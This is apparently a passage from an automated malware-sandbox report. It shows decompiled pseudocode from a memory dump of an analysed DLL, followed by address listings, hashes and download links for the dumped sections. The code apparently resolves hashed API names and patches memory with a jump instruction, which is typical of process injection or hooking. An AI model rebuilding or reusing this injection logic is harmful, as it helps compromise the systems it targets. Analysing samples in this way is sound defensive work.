					asm("pxor xmm0, xmm0");
					_t136 = _t746 + 0x88; // 0x88
					 *_t136 = 0x853cdd04;
					asm("movq [eax+0x8], xmm0");
					E6DE8F8C4( &_v564, E6DE8F568( &_v564) + 0x10);
					E6DE8F558( &_v568, E6DE8F568( &_v568) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v576 = _v576 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v572 + 0x88)) = 0xb162dc4e;
					asm("movq [eax+0x8], xmm0");
					E6DE8F8C4( &_v572, E6DE8F568( &_v572) + 0x10);
					E6DE8F558( &_v576, E6DE8F568( &_v576) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v584 = _v584 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v580 + 0x88)) = 0xc15ccc53;
					asm("movq [eax+0x8], xmm0");
					E6DE8F8C4( &_v580, E6DE8F568( &_v580) + 0x10);
					E6DE8F558( &_v584, E6DE8F568( &_v584) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v592 = _v592 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v588 + 0x88)) = 0x73f8f999;
					asm("movq [eax+0x8], xmm0");
					E6DE8F8C4( &_v588, E6DE8F568( &_v588) + 0x10);
					E6DE8F558( &_v592, E6DE8F568( &_v592) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v600 = _v600 + 1;
					_t762 =  &_v596;
					asm("pxor xmm0, xmm0");
					_t160 = _t762 + 0x88; // 0xa8
					 *_t160 = 0x4145240a;
					asm("movq [eax+0x8], xmm0");
					E6DE8F8C4( &_v596, E6DE8F568( &_v596) + 0x10);
					E6DE8F558( &_v600, E6DE8F568( &_v600) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v608 = _v608 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v604 + 0x88)) = 0xf06b4c6b;
					asm("movq [eax+0x8], xmm0");
					E6DE8F8C4( &_v604, E6DE8F568( &_v604) + 0x10);
					E6DE8F558( &_v608, E6DE8F568( &_v608) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v616 = _v616 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v612 + 0x88)) = 0x7d07f92f;
					asm("movq [eax+0x8], xmm0");
					E6DE8F8C4( &_v612, E6DE8F568( &_v612) + 0x10);
					E6DE8F558( &_v616, E6DE8F568( &_v616) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v624 = _v624 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v620 + 0x88)) = 0x2c2324e8;
					asm("movq [eax+0x8], xmm0");
					E6DE8F8C4( &_v620, E6DE8F568( &_v620) + 0x10);
					E6DE8F558( &_v624, E6DE8F568( &_v624) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t857 = _t955;
					 *_t857 =  *_t857 + 1;
					E6DE9413C(0xa5eabdf8, _t857);
					E6DE8F558( &_v628, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0xf4], xmm0");
					E6DE8F558( &_v632, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0xfc], xmm0");
					E6DE8F558( &_v636, 0x20);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x104], xmm0");
					E6DE8F558( &_v640, 0x30);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x10c], xmm0");
					E6DE8F558( &_v644, 0x40);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x114], xmm0");
					E6DE8F558( &_v648, 0x50);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x11c], xmm0");
					E6DE8F558( &_v652, 0x60);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x124], xmm0");
					E6DE8F558( &_v656, 0x70);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [ecx+0x118], xmm0");
					_t534 = E6DE8A5A4( &_v644, __eflags);
					_v524 = _t857;
					_t950 = _t534;
					__eflags = _t950 - 0xffffffffffffffff | _t857 - 0xffffffffffffffff;
					if((_t950 - 0xffffffffffffffff | _t857 - 0xffffffffffffffff) == 0) {
						L50:
						E6DE8B608(_t955 + 0xbc);
						E6DE8CDE0( &_v320, __eflags);
						goto L51;
					}
					_t858 =  &_v128;
					__eflags =  *_t858 | _t858[1];
					if(( *_t858 | _t858[1]) != 0) {
						L18:
						_v396 = 0;
						while(1) {
							__eflags = E6DE8AD68(0x80, _t950, _v400, _v112, _v132);
							if(__eflags != 0) {
								break;
							}
							_t605 = E6DE8A5A4( &_v520, __eflags);
							_v400 = 0x80;
							_t950 = _t605;
							__eflags = _t950 - 0xffffffffffffffff | 0x81;
							if((_t950 - 0xffffffffffffffff | 0x81) == 0) {
								goto L50;
							}
							_t878 =  &_v396;
							_t609 =  *_t878 + 1;
							 *_t878 = _t609;
							__eflags = _t609 - 0xa;
							if(_t609 != 0xa) {
								continue;
							}
							goto L50;
						}
						_v396 = 0;
						while(1) {
							_push(0x80);
							_push(_v132);
							_push(_v112);
							_push(_v400);
							_push(_t950);
							_t860 =  &(( &_v520)[0x38]);
							__eflags = E6DE8A298( &_v520, _t860);
							if(__eflags != 0) {
								break;
							}
							_t600 = E6DE8A5A4( &_v540, __eflags);
							_v420 = _t860;
							_t950 = _t600;
							__eflags = _t950 - 0xffffffffffffffff | _t860 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t860 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t877 =  &_v416;
							_t604 =  *_t877 + 1;
							 *_t877 = _t604;
							__eflags = _t604 - 0xa;
							if(_t604 != 0xa) {
								continue;
							}
							goto L50;
						}
						asm("cdq");
						asm("movd xmm1, eax");
						_v416 =  *((intOrPtr*)(_t955 + 0x1a4));
						_t647 =  &_v408;
						asm("movd xmm0, edx");
						asm("punpckldq xmm1, xmm0");
						 *_t647 = 0;
						 *((intOrPtr*)(_t647 - 4)) = _v188;
						asm("movq [edx], xmm1");
						_t544 = E6DE93BA0(_t951, _t647 - 8, __eflags,  &(_t647[0x48]), 0x40, _t647);
						__eflags = _t544;
						if(_t544 != 0) {
							goto L50;
						}
						_v180 = 0;
						while(1) {
							_t863 = _v184;
							__eflags = E6DE8AD68(_t863, _t950, _v420,  *((intOrPtr*)(_t955 + 0x1a8)), _v188);
							if(__eflags != 0) {
								break;
							}
							_t595 = E6DE8A5A4( &_v540, __eflags);
							_v420 = _t863;
							_t950 = _t595;
							__eflags = _t950 - 0xffffffffffffffff | _t863 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t863 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t876 =  &_v180;
							_t599 =  *_t876 + 1;
							 *_t876 = _t599;
							__eflags = _t599 - 0xa;
							if(_t599 != 0xa) {
								continue;
							}
							goto L50;
						}
						_v184 = 0;
						while(1) {
							_t546 = E6DE8F558( &_v404, 0);
							_push(E6DE8F568( &_v408));
							_push(_v192);
							_push(_v144);
							_push(_v424);
							_push(_t950);
							_t864 = _t546;
							__eflags = E6DE8A298( &_v544, _t864);
							if(__eflags != 0) {
								break;
							}
							_t590 = E6DE8A5A4( &_v560, __eflags);
							_v440 = _t864;
							_t950 = _t590;
							__eflags = _t950 - 0xffffffffffffffff | _t864 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t864 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t875 =  &_v204;
							_t594 =  *_t875 + 1;
							 *_t875 = _t594;
							__eflags = _t594 - 0xa;
							if(_t594 != 0xa) {
								continue;
							}
							goto L50;
						}
						_t550 = E6DE93BA0(_t951,  &_v428 - 8, __eflags,  &_v428 + 0x120, _v428,  &_v428);
						__eflags = _t550;
						if(_t550 != 0) {
							goto L50;
						}
						E6DE8F620( &_v208, 0);
						_v100 = 0xe9;
						E6DE8F578( &_v100 - 0x70, __eflags,  &_v100, 1);
						_t650 =  &_v104;
						_t556 = _v172 -  *((intOrPtr*)(_t650 - 0x54)) + 0xfffffffb;
						__eflags = _t556;
						 *_t650 = _t556;
						E6DE8F578(_t650 - 0x74, __eflags, _t650, 4);
						_t907 =  &_v448;
						asm("movq xmm0, [0x6de9b798]");
						 *((intOrPtr*)(_t907 - 8)) = _v196;
						 *((intOrPtr*)(_t907 - 4)) =  *((intOrPtr*)(_t907 + 0x110));
						asm("movq [ebx], xmm0");
						E6DE93BA0(_t951, _t907 + 0x120 - 0x128, __eflags, _t907 + 0x120, 0x40, _t907);
						_v192 = 0;
						while(1) {
							_t561 = E6DE8F558( &_v208, 0);
							_push(E6DE8F568( &_v212));
							_push(_v160);
							_push(_v180);
							_push(_v444);
							_push(_t950);
							_t867 = _t561;
							__eflags = E6DE8A298( &_v564, _t867);
							if(__eflags != 0) {
								break;
							}
							_t585 = E6DE8A5A4( &_v580, __eflags);
							_v460 = _t867;
							_t950 = _t585;
							__eflags = _t950 - 0xffffffffffffffff | _t867 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t867 - 0xffffffffffffffff) == 0) {
								L49:
								E6DE8F6F0(_t955 + 0x174);
								goto L50;
							}
							_t874 =  &_v180;
							_t589 =  *_t874 + 1;
							 *_t874 = _t589;
							__eflags = _t589 - 0xa;
							if(_t589 != 0xa) {
								continue;
							}
							goto L49;
						}
						_v180 = 0;
						while(1) {
							_t955 = _t955 + 0xffffffd8;
							asm("pxor xmm0, xmm0");
							_v640 = _t950;
							_v636 = _v460;
							_t868 = _v196;
							_v632 = _t868;
							_v628 = _v176;
							_t806 =  &_v580;
							_v624 =  *((intOrPtr*)(_t806 + 0x198));
							_v620 =  *((intOrPtr*)(_t806 + 0x184));
							asm("movq [esp+0x18], xmm0");
							asm("movq [esp+0x20], xmm0");
							__eflags = E6DE8AD04(__eflags);
							if(__eflags != 0) {
								break;
							}
							_t579 = E6DE8A5A4( &_v616, __eflags);
							_v496 = _t868;
							_t950 = _t579;
							__eflags = _t950 - 0xffffffffffffffff | _t868 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t868 - 0xffffffffffffffff) == 0) {
								goto L49;
							}
							_t872 =  &_v216;
							_t584 =  *_t872 + 1;
							 *_t872 = _t584;
							__eflags = _t584 - 0xa;
							if(__eflags != 0) {
								continue;
							}
							goto L49;
						}
						_push(0);
						_t869 = _v164;
						__eflags = _t869;
						_t870 =  !=  ? _t869 + 0xc : _t869;
						_push( !=  ? _t869 + 0xc : _t869);
						_t567 = E6DE8C3A8(_t869,  &_v416, 0x2710);
						E6DE8F6F0(_t955 + 0x184);
						E6DE8B608( &_v448);
						E6DE8CDE0( &_v416, __eflags);
						E6DE8F6F0( &_v480);
						E6DE8F6F0( &_v464);
						E6DE8F6F0( &_v432);
						E6DE8F6F0( &_v632);
						E6DE8B680( &_v592);
						E6DE8F6F0( &_v608);
						__eflags = _t567;
						return 0 | _t567 == 0x00000000;
					}
					_v388 = 0;
					do {
						E6DE8F620(_t955 + 0x188, 0);
						_push(0x23627913);
						_push(_t955 + 0x1cc);
						E6DE91D00();
						E6DE8DD7C(_t955 + 0x1d0 - 8, _t955 + 0x1d0);
						_t879 = 0x7fffffff;
						E6DE8F578( &_v168, __eflags, _v92, E6DE8E94C(_v92, 0x7fffffff));
						E6DE8E054( &_v100);
						E6DE8D098( &_v108);
						_t836 =  &_v176;
						_t665 =  *((intOrPtr*)(_t836 + 0x28));
						 *((intOrPtr*)(_t836 - 0xf0)) = _v156;
						__eflags = E6DE8F568(_t836);
						if(__eflags <= 0) {
							L12:
							_t955 = _t955 + 0xffffffd8;
							asm("movq xmm0, [esp+0xac]");
							asm("pxor xmm1, xmm1");
							_t837 =  &_v528;
							_v588 = _t950;
							_v584 =  *((intOrPtr*)(_t837 + 0x78));
							asm("movq [esp+0x8], xmm0");
							_v572 =  *((intOrPtr*)(_t837 + 0x198));
							_v568 =  *((intOrPtr*)(_t837 + 0x184));
							asm("movq [esp+0x18], xmm1");
							asm("movq [esp+0x20], xmm1");
							_t622 = E6DE8AD04(__eflags);
							__eflags = _t622;
							if(_t622 != 0) {
								E6DE9218C(0x3e8, _t879, _t950);
								E6DE8F6F0( &_v196);
								E6DE8ADB8( &_v564,  &(( &_v172)[5]), __eflags,  &_v172);
								_t881 =  &_v176;
								__eflags =  *_t881 | _t881[1];
								if(__eflags != 0) {
									goto L18;
								}
								_t629 = E6DE8A5A4( &_v564, __eflags);
								_v444 = _t881;
								_t950 = _t629;
								__eflags = _t950 - 0xffffffffffffffff | _t881 - 0xffffffffffffffff;
								if((_t950 - 0xffffffffffffffff | _t881 - 0xffffffffffffffff) == 0) {
									goto L50;
								}
								goto L16;
							}
							L13:
							E6DE8F6F0( &_v196);
							goto L50;
						}
						_v404 = 0;
						while(1) {
							_t635 = E6DE8F558( &_v160, _v404);
							_t879 = _t635;
							_t955 = _t955 + 0xffffffd8;
							asm("movq xmm0, [esp+0x94]");
							_t844 =  &_v532;
							asm("movq xmm1, [0x6de9b790]");
							_v592 = _t950;
							_v588 =  *((intOrPtr*)(_t844 + 0x78));
							asm("movq [esp+0x8], xmm0");
							_v576 = _t665;
							_v572 =  *((intOrPtr*)(_t844 + 0x80));
							_v568 =  *_t635 & 0x000000ff;
							_v564 = 0;
							asm("movq [esp+0x20], xmm1");
							_t638 = E6DE8AD04(__eflags);
							__eflags = _t638;
							if(_t638 == 0) {
								goto L13;
							}
							_t845 = 0x64;
							E6DE9218C(_t845, _t879, _t950);
							_t665 = _t665 + 1;
							asm("adc dword [ecx-0xf0], 0x0");
							 *((intOrPtr*)( &_v196 - 0xf4)) =  *((intOrPtr*)( &_v196 - 0xf4)) + 1;
							__eflags = E6DE8F568( &_v196) - _v440;
							if(__eflags > 0) {
								continue;
							}
							goto L12;
						}
						goto L13;
						L16:
						_t882 =  &_v432;
						_t633 =  *_t882 + 1;
						 *_t882 = _t633;
						__eflags = _t633 - 0xa;
					} while (_t633 != 0xa);
					goto L50;
				}
				L1:
				E6DE8F6F0( &_v532);
				E6DE8B680( &_v492);
				E6DE8F6F0( &_v508);
				return 0;
			}

0x6de89144
0x6de89148
0x6de8914e
0x6de89150
0x6de89161
0x6de89164
0x6de8916b
0x6de89174
0x6de8917b
0x6de8917f
0x6de89188
0x6de8918f
0x6de89197
0x6de8919c
0x6de891ab
0x6de891af
0x6de891c4
0x6de891da
0x6de891e8
0x6de891e9
0x6de891ea
0x6de891eb
0x6de891ec
0x6de891f3
0x6de891f7
0x6de89201
0x6de89216
0x6de8922c
0x6de8923a
0x6de8923b
0x6de8923c
0x6de8923d
0x6de8923e
0x6de89245
0x6de89249
0x6de89253
0x6de89268
0x6de8927e
0x6de8928c
0x6de8928d
0x6de8928e
0x6de8928f
0x6de89290
0x6de89297
0x6de8929b
0x6de892a5
0x6de892ba
0x6de892d0
0x6de892de
0x6de892df
0x6de892e0
0x6de892e1
0x6de892e2
0x6de892e9
0x6de892ed
0x6de892f7
0x6de8930c
0x6de89322
0x6de89330
0x6de89331
0x6de89332
0x6de89333
0x6de89334
0x6de8933b
0x6de8933f
0x6de89349
0x6de8935e
0x6de89374
0x6de89382
0x6de89383
0x6de89384
0x6de89385
0x6de8938e
0x6de89390
0x6de8939b
0x6de893a0
0x6de893a5
0x6de893b1
0x6de893b6
0x6de893bb
0x6de893c7
0x6de893cc
0x6de893d1
0x6de893dd
0x6de893e2
0x6de893e7
0x6de893f3
0x6de893f8
0x6de893fd
0x6de89409
0x6de8940e
0x6de8941a
0x6de89420
0x6de89430
0x6de89435
0x6de8943e
0x6de89447
0x6de8947e
0x6de89487
0x6de8948c
0x6de89497
0x6de894a1
0x6de894a7
0x6de894b9
0x6de894cf
0x6de894dd
0x6de894de
0x6de894df
0x6de894e0
0x6de894e1
0x6de894e8
0x6de894f2
0x6de894f8
0x6de8950a
0x6de89520
0x6de8952e
0x6de8952f
0x6de89530
0x6de89531
0x6de89532
0x6de89539
0x6de89543
0x6de89549
0x6de8955b
0x6de89571
0x6de8957f
0x6de89580
0x6de89581
0x6de89582
0x6de89583
0x6de89586
0x6de89589
0x6de8959f
0x6de895a4
0x6de895a8
0x6de895b3
0x6de895b8
0x6de895bd
0x6de895c9
0x6de895ce
0x6de895d3
0x6de895e7
0x6de895ef
0x6de895f6
0x6de89606
0x6de89614
0x6de89620
0x6de89622
0x6de89629
0x6de8963c
0x6de89643
0x6de8965c
0x6de8966a
0x6de89681
0x6de8968f
0x6de89694
0x6de896a0
0x6de896ad
0x6de896b4
0x6de896c9
0x6de896ce
0x6de896d5
0x6de896dc
0x6de896e3
0x6de8a1d7
0x6de8a1de
0x6de8a1ea
0x6de8a1f6
0x00000000
0x6de8a1f6
0x6de896f0
0x6de896f7
0x00000000
0x00000000
0x6de8970c
0x6de89711
0x6de89722
0x6de89727
0x6de89733
0x6de8973a
0x6de89740
0x6de89745
0x6de89748
0x6de8974e
0x6de8975c
0x6de8975d
0x6de89761
0x6de89765
0x6de89769
0x6de8977e
0x6de89789
0x6de8978a
0x6de8978e
0x6de89792
0x6de89796
0x6de897a0
0x6de897b6
0x6de897b7
0x6de897bb
0x6de897bf
0x6de897c3
0x6de897df
0x6de897f5
0x6de897f5
0x6de897fb
0x6de897fd
0x6de89800
0x6de89805
0x6de8980c
0x6de89810
0x6de89814
0x6de8981a
0x6de89820
0x6de89832
0x6de89848
0x6de89856
0x6de89857
0x6de89858
0x6de89859
0x6de8985a
0x6de89861
0x6de8986b
0x6de89871
0x6de89883
0x6de89899
0x6de898a7
0x6de898a8
0x6de898a9
0x6de898aa
0x6de898ab
0x6de898b2
0x6de898bc
0x6de898c2
0x6de898d4
0x6de898ea
0x6de898f8
0x6de898f9
0x6de898fa
0x6de898fb
0x6de898fc
0x6de89903
0x6de8990d
0x6de89913
0x6de89925
0x6de8993b
0x6de89949
0x6de8994a
0x6de8994b
0x6de8994c
0x6de8994d
0x6de89950
0x6de89954
0x6de89958
0x6de8995e
0x6de89964
0x6de89976
0x6de8998c
0x6de8999a
0x6de8999b
0x6de8999c
0x6de8999d
0x6de8999e
0x6de899a5
0x6de899af
0x6de899b5
0x6de899c7
0x6de899dd
0x6de899eb
0x6de899ec
0x6de899ed
0x6de899ee
0x6de899ef
0x6de899f6
0x6de89a00
0x6de89a06
0x6de89a18
0x6de89a2e
0x6de89a3c
0x6de89a3d
0x6de89a3e
0x6de89a3f
0x6de89a40
0x6de89a47
0x6de89a51
0x6de89a57
0x6de89a69
0x6de89a7f
0x6de89a8d
0x6de89a8e
0x6de89a8f
0x6de89a90
0x6de89a96
0x6de89a99
0x6de89a9b
0x6de89aa6
0x6de89aab
0x6de89ab0
0x6de89abf
0x6de89ac4
0x6de89ac9
0x6de89ad8
0x6de89add
0x6de89ae2
0x6de89af1
0x6de89af6
0x6de89afb
0x6de89b0a
0x6de89b0f
0x6de89b14
0x6de89b23
0x6de89b28
0x6de89b2d
0x6de89b3c
0x6de89b41
0x6de89b46
0x6de89b55
0x6de89b5a
0x6de89b63
0x6de89b6b
0x6de89b70
0x6de89b77
0x6de89b84
0x6de89b86
0x6de8a1bf
0x6de8a1c6
0x6de8a1d2
0x00000000
0x6de8a1d2
0x6de89b8c
0x6de89b95
0x6de89b98
0x6de89db0
0x6de89db0
0x6de89dbb
0x6de89ddf
0x6de89de1
0x00000000
0x00000000
0x6de89de7
0x6de89dec
0x6de89df3
0x6de89e00
0x6de89e02
0x00000000
0x00000000
0x6de89e08
0x6de89e11
0x6de89e12
0x6de89e14
0x6de89e17
0x00000000
0x00000000
0x00000000
0x6de89e19
0x6de89e1e
0x6de89e29
0x6de89e29
0x6de89e2e
0x6de89e35
0x6de89e3c
0x6de89e43
0x6de89e48
0x6de89e53
0x6de89e55
0x00000000
0x00000000
0x6de89e5b
0x6de89e60
0x6de89e67
0x6de89e74
0x6de89e76
0x00000000
0x00000000
0x6de89e7c
0x6de89e85
0x6de89e86
0x6de89e88
0x6de89e8b
0x00000000
0x00000000
0x00000000
0x6de89e8d
0x6de89e9b
0x6de89ea3
0x6de89eae
0x6de89eb5
0x6de89ebc
0x6de89ec0
0x6de89ec4
0x6de89eca
0x6de89ed5
0x6de89ee0
0x6de89ee5
0x6de89ee7
0x00000000
0x00000000
0x6de89eed
0x6de89ef8
0x6de89f0e
0x6de89f1e
0x6de89f20
0x00000000
0x00000000
0x6de89f26
0x6de89f2b
0x6de89f32
0x6de89f3f
0x6de89f41
0x00000000
0x00000000
0x6de89f47
0x6de89f50
0x6de89f51
0x6de89f53
0x6de89f56
0x00000000
0x00000000
0x00000000
0x6de89f58
0x6de89f5d
0x6de89f68
0x6de89f71
0x6de89f84
0x6de89f85
0x6de89f8c
0x6de89f93
0x6de89f9a
0x6de89f9b
0x6de89fa6
0x6de89fa8
0x00000000
0x00000000
0x6de89fae
0x6de89fb3
0x6de89fba
0x6de89fc7
0x6de89fc9
0x00000000
0x00000000
0x6de89fcf
0x6de89fd8
0x6de89fd9
0x6de89fdb
0x6de89fde
0x00000000
0x00000000
0x00000000
0x6de89fe0
0x6de8a000
0x6de8a005
0x6de8a007
0x00000000
0x00000000
0x6de8a016
0x6de8a022
0x6de8a02d
0x6de8a039
0x6de8a043
0x6de8a043
0x6de8a046
0x6de8a04e
0x6de8a05a
0x6de8a069
0x6de8a071
0x6de8a074
0x6de8a07d
0x6de8a08d
0x6de8a092
0x6de8a09d
0x6de8a0a6
0x6de8a0b9
0x6de8a0ba
0x6de8a0c1
0x6de8a0c8
0x6de8a0cf
0x6de8a0d0
0x6de8a0db
0x6de8a0dd
0x00000000
0x00000000
0x6de8a0e3
0x6de8a0e8
0x6de8a0ef
0x6de8a0fa
0x6de8a0fc
0x6de8a1b3
0x6de8a1ba
0x00000000
0x6de8a1ba
0x6de8a102
0x6de8a10b
0x6de8a10c
0x6de8a10e
0x6de8a111
0x00000000
0x00000000
0x00000000
0x6de8a113
0x6de8a118
0x6de8a123
0x6de8a123
0x6de8a126
0x6de8a12a
0x6de8a134
0x6de8a138
0x6de8a13f
0x6de8a14a
0x6de8a14e
0x6de8a158
0x6de8a162
0x6de8a166
0x6de8a16c
0x6de8a177
0x6de8a179
0x00000000
0x00000000
0x6de8a183
0x6de8a188
0x6de8a18f
0x6de8a19a
0x6de8a19c
0x00000000
0x00000000
0x6de8a19e
0x6de8a1a7
0x6de8a1a8
0x6de8a1aa
0x6de8a1ad
0x00000000
0x00000000
0x00000000
0x6de8a1ad
0x6de8a200
0x6de8a202
0x6de8a209
0x6de8a20e
0x6de8a211
0x6de8a21f
0x6de8a230
0x6de8a23c
0x6de8a248
0x6de8a254
0x6de8a260
0x6de8a26c
0x6de8a275
0x6de8a27e
0x6de8a287
0x6de8a28e
0x00000000
0x6de8a290
0x6de89b9e
0x6de89ba9
0x6de89bb2
0x6de89bb7
0x6de89bc3
0x6de89bc4
0x6de89bd4
0x6de89be2
0x6de89bf5
0x6de89c01
0x6de89c0d
0x6de89c19
0x6de89c20
0x6de89c23
0x6de89c2e
0x6de89c30
0x6de89cdb
0x6de89cdb
0x6de89cde
0x6de89ce7
0x6de89ceb
0x6de89cef
0x6de89cf5
0x6de89cf9
0x6de89d05
0x6de89d0f
0x6de89d13
0x6de89d19
0x6de89d1f
0x6de89d24
0x6de89d26
0x6de89d3e
0x6de89d4a
0x6de89d5e
0x6de89d63
0x6de89d6c
0x6de89d6f
0x00000000
0x00000000
0x6de89d75
0x6de89d7a
0x6de89d81
0x6de89d8e
0x6de89d90
0x00000000
0x00000000
0x00000000
0x6de89d90
0x6de89d28
0x6de89d2f
0x00000000
0x6de89d2f
0x6de89c36
0x6de89c41
0x6de89c4f
0x6de89c54
0x6de89c56
0x6de89c59
0x6de89c62
0x6de89c66
0x6de89c6e
0x6de89c74
0x6de89c78
0x6de89c7e
0x6de89c8b
0x6de89c8f
0x6de89c93
0x6de89c9b
0x6de89ca1
0x6de89ca6
0x6de89ca8
0x00000000
0x00000000
0x6de89cac
0x6de89cad
0x6de89cb2
0x6de89cbc
0x6de89cc3
0x6de89cce
0x6de89cd5
0x00000000
0x00000000
0x00000000
0x6de89cd5
0x00000000
0x6de89d96
0x6de89d96
0x6de89d9f
0x6de89da0
0x6de89da2
0x6de89da2
0x00000000
0x6de89dab
0x6de89449
0x6de8944d
0x6de89456
0x6de8945f
0x00000000

Strings

$EA, xrefs: 6DE891E1

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: $EA
API String ID: 0-4251458306
Opcode ID: 0f9ece0a29f9bf233d70afbd6abe9759485a4e40a834ba31c3e5baf8d643cb91
Instruction ID: 1838a0b353cf5d74fdc684c16706569f4f7e01f296f8603a2e1f5beeb476cc24
Opcode Fuzzy Hash: 0f9ece0a29f9bf233d70afbd6abe9759485a4e40a834ba31c3e5baf8d643cb91
Instruction Fuzzy Hash: 5DA27E7151C3419EC721DF24C840BDEB7F4AF96304F618A2DA59D9B2A2FF30A949CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6DE81494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Download Yara Rule

C-Code - Quality: 31%

			E6DE81494(intOrPtr __ecx, void* __edx, void* __eflags) {
				intOrPtr _v40;
				intOrPtr _v60;
				void* _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				char _v144;
				char _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v164;
				char _v168;
				char _v172;
				char _v176;
				char _v180;
				char _v184;
				char _v188;
				char _v192;
				char _v196;
				char _v200;
				char _v204;
				char _v208;
				char _v212;
				char _v216;
				char _v220;
				char _v224;
				char _v228;
				char _v232;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				char _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				char _v276;
				void* _v288;
				intOrPtr _v292;
				char _v296;
				char _v300;
				char _v304;
				char _v308;
				char _v312;
				char _v316;
				char _v320;
				char _v324;
				char _v340;
				char _v344;
				char _v348;
				char _v352;
				char _v356;
				void* __ebp;
				void* _t282;
				intOrPtr* _t310;
				intOrPtr* _t318;
				intOrPtr* _t434;
				intOrPtr* _t480;
				void* _t481;

				_t481 = __eflags;
				_t480 =  &_v60;
				_v40 = __ecx;
				_v76 = 0;
				E6DE8F620( &_v72, 0);
				_v60 = 0x22dc1034;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v76, E6DE8F568( &_v76) + 0x10);
				E6DE8F558( &_v80, E6DE8F568( &_v80) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v88 = _v88 + 1;
				_t325 =  &_v84;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v84 + 0x10)) = 0x853cdd04;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v84, E6DE8F568(_t325) + 0x10);
				E6DE8F558( &_v88, E6DE8F568( &_v88) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v96 = _v96 + 1;
				_t329 =  &_v92;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v92 + 0x10)) = 0xb162dc4e;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v92, E6DE8F568(_t329) + 0x10);
				E6DE8F558( &_v96, E6DE8F568( &_v96) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v104 = _v104 + 1;
				_t333 =  &_v100;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v100 + 0x10)) = 0xc15ccc53;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v100, E6DE8F568(_t333) + 0x10);
				E6DE8F558( &_v104, E6DE8F568( &_v104) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v112 = _v112 + 1;
				_t337 =  &_v108;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v108 + 0x10)) = 0xc8fc2de6;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v108, E6DE8F568(_t337) + 0x10);
				E6DE8F558( &_v112, E6DE8F568( &_v112) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v120 = _v120 + 1;
				_t341 =  &_v116;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v116 + 0x10)) = 0x7d07f92f;
				asm("movq [ecx+0x18], xmm0");
				E6DE8F8C4( &_v116, E6DE8F568(_t341) + 0x10);
				E6DE8F558( &_v120, E6DE8F568( &_v120) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v128 = _v128 + 1;
				_t345 =  &_v124;
				asm("pxor xmm0, xmm0");
